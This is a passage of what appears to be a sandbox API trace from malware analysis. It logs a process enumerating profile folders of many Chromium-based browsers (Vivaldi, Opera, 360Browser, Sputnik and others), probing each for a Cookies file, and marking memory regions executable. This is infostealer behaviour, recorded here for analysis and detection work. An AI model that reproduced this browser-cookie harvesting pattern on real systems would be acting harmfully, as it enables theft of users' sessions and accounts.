lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Nichrome\\User Data\\\\*.*", lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.583] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Nichrome\\User Data\\\\\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\nichrome\\user data\\cookies")) returned 0xffffffff [0163.585] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.585] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.585] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf33ec, cbMultiByte=8, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="RockMeltrs\\Cookiesome\\User Data\\Data\\r Data\\\x09") returned 8 [0163.585] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1084, cbMultiByte=34, lpWideCharStr=0x1e7de9b4, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\RockMelt\\User Data\\Data\\r Data\\\x09") returned 34 [0163.586] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\RockMelt\\User Data\\", lpDst=0x1ff0004c, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\RockMelt\\User Data\\") returned 0x34 [0163.586] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Cookieselt\\User Data\\Data\\r Data\\\x09") returned 16 [0163.586] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\RockMelt\\User Data\\\\*.*", lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.586] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\RockMelt\\User Data\\\\\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\rockmelt\\user data\\cookies")) returned 0xffffffff [0163.586] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.586] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.586] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3540, cbMultiByte=10, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="360Browser\\Cookieselt\\User Data\\Data\\r Data\\\x09") returned 10 [0163.587] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1170, cbMultiByte=44, lpWideCharStr=0x1e7de9b4, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\360Browser\\Browser\\User Data\\a\\\x09") returned 44 [0163.587] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\360Browser\\Browser\\User Data\\", lpDst=0x1ff0004c, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\360Browser\\Browser\\User Data\\") returned 0x3e [0163.587] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Cookiesowser\\Browser\\User Data\\a\\\x09") returned 16 [0163.587] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\360Browser\\Browser\\User Data\\\\*.*", lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.587] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\360Browser\\Browser\\User Data\\\\\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\360browser\\browser\\user data\\cookies")) returned 0xffffffff [0163.587] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.587] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.588] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3698, cbMultiByte=7, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="Vivaldiers\\Cookiesowser\\Browser\\User Data\\a\\\x09") returned 7 [0163.588] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf126c, cbMultiByte=33, lpWideCharStr=0x1e7de9b4, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Vivaldi\\User Data\\\\User Data\\a\\\x09") returned 33 [0163.588] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Vivaldi\\User Data\\", lpDst=0x1ff0004c, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Vivaldi\\User Data\\") returned 0x33 [0163.588] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Cookiesdi\\User Data\\\\User Data\\a\\\x09") returned 16 [0163.588] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Vivaldi\\User Data\\\\*.*", lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.588] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Vivaldi\\User Data\\\\\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\vivaldi\\user data\\cookies")) returned 0xffffffff [0163.588] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.588] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.589] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf37f0, cbMultiByte=5, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="Operawsers\\Cookiesdi\\User Data\\\\User Data\\a\\\x09") returned 5 [0163.589] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x410000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x410000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.589] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1360, cbMultiByte=25, lpWideCharStr=0x1e7de9b4, cchWideChar=2047 | out: lpWideCharStr="%APPDATA%\\Opera Software\\er Data\\\\User Data\\a\\\x09") returned 25 [0163.590] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Opera Software\\", lpDst=0x1ff0004c, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera Software\\") returned 0x32 [0163.590] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Cookiesware\\er Data\\\\User Data\\a\\\x09") returned 16 [0163.590] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera Software\\\\*.*", lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.590] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera Software\\\\\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\opera software\\cookies")) returned 0xffffffff [0163.590] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.590] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.590] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf394c, cbMultiByte=9, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="GoBrowsers\\Cookiesware\\er Data\\\\User Data\\a\\\x09") returned 9 [0163.591] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1450, cbMultiByte=29, lpWideCharStr=0x1e7de9b4, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Go!\\User Data\\ata\\\\User Data\\a\\\x09") returned 29 [0163.596] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.596] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.597] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.597] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.597] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.598] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Go!\\User Data\\", lpDst=0x1ff0004c, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Go!\\User Data\\") returned 0x2f [0163.598] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.598] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.599] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.599] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x410000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x410000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.599] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.600] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Cookiesser Data\\ata\\\\User Data\\a\\\x09") returned 16 [0163.600] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40e000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40e000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.600] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40f000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40f000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.601] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Go!\\User Data\\\\*.*", lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.601] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.601] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Go!\\User Data\\\\\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\go!\\user data\\cookies")) returned 0xffffffff [0163.601] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.602] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.602] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.602] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3ab0, cbMultiByte=7, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="Sputnikers\\Cookiesser Data\\ata\\\\User Data\\a\\\x09") returned 7 [0163.602] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1548, cbMultiByte=41, lpWideCharStr=0x1e7de9b4, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Sputnik\\Sputnik\\User Data\\ta\\a\\\x09") returned 41 [0163.602] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Sputnik\\Sputnik\\User Data\\", lpDst=0x1ff0004c, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Sputnik\\Sputnik\\User Data\\") returned 0x3b [0163.602] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Cookiesik\\Sputnik\\User Data\\ta\\a\\\x09") returned 16 [0163.603] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Sputnik\\Sputnik\\User Data\\\\*.*", lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.603] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Sputnik\\Sputnik\\User Data\\\\\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\sputnik\\sputnik\\user data\\cookies")) returned 0xffffffff [0163.603] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.603] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.603] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3c14, cbMultiByte=6, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="Kometasers\\Cookiesik\\Sputnik\\User Data\\ta\\a\\\x09") returned 6 [0163.603] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1650, cbMultiByte=32, lpWideCharStr=0x1e7de9b4, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Kometa\\User Data\\ser Data\\ta\\a\\\x09") returned 32 [0163.603] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Kometa\\User Data\\", lpDst=0x1ff0004c, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Kometa\\User Data\\") returned 0x32 [0163.603] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Cookiesa\\User Data\\ser Data\\ta\\a\\\x09") returned 16 [0163.603] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Kometa\\User Data\\\\*.*", lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.604] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Kometa\\User Data\\\\\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\kometa\\user data\\cookies")) returned 0xffffffff [0163.604] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.604] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.604] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3c28, cbMultiByte=4, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="Uranowsers\\Cookiesa\\User Data\\ser Data\\ta\\a\\\x09") returned 4 [0163.604] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1754, cbMultiByte=40, lpWideCharStr=0x1e7de9b4, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\uCozMedia\\Uran\\User Data\\\\ta\\a\\\x09") returned 40 [0163.604] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\uCozMedia\\Uran\\User Data\\", lpDst=0x1ff0004c, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\uCozMedia\\Uran\\User Data\\") returned 0x3a [0163.604] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Cookiesedia\\Uran\\User Data\\\\ta\\a\\\x09") returned 16 [0163.604] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\uCozMedia\\Uran\\User Data\\\\*.*", lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.605] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\uCozMedia\\Uran\\User Data\\\\\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\ucozmedia\\uran\\user data\\cookies")) returned 0xffffffff [0163.605] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.605] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.605] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3d94, cbMultiByte=7, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="QIPSurfers\\Cookiesedia\\Uran\\User Data\\\\ta\\a\\\x09") returned 7 [0163.605] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1864, cbMultiByte=34, lpWideCharStr=0x1e7de9b4, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\QIP Surf\\User Data\\ Data\\\\ta\\a\\\x09") returned 34 [0163.605] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\QIP Surf\\User Data\\", lpDst=0x1ff0004c, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\QIP Surf\\User Data\\") returned 0x34 [0163.605] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, 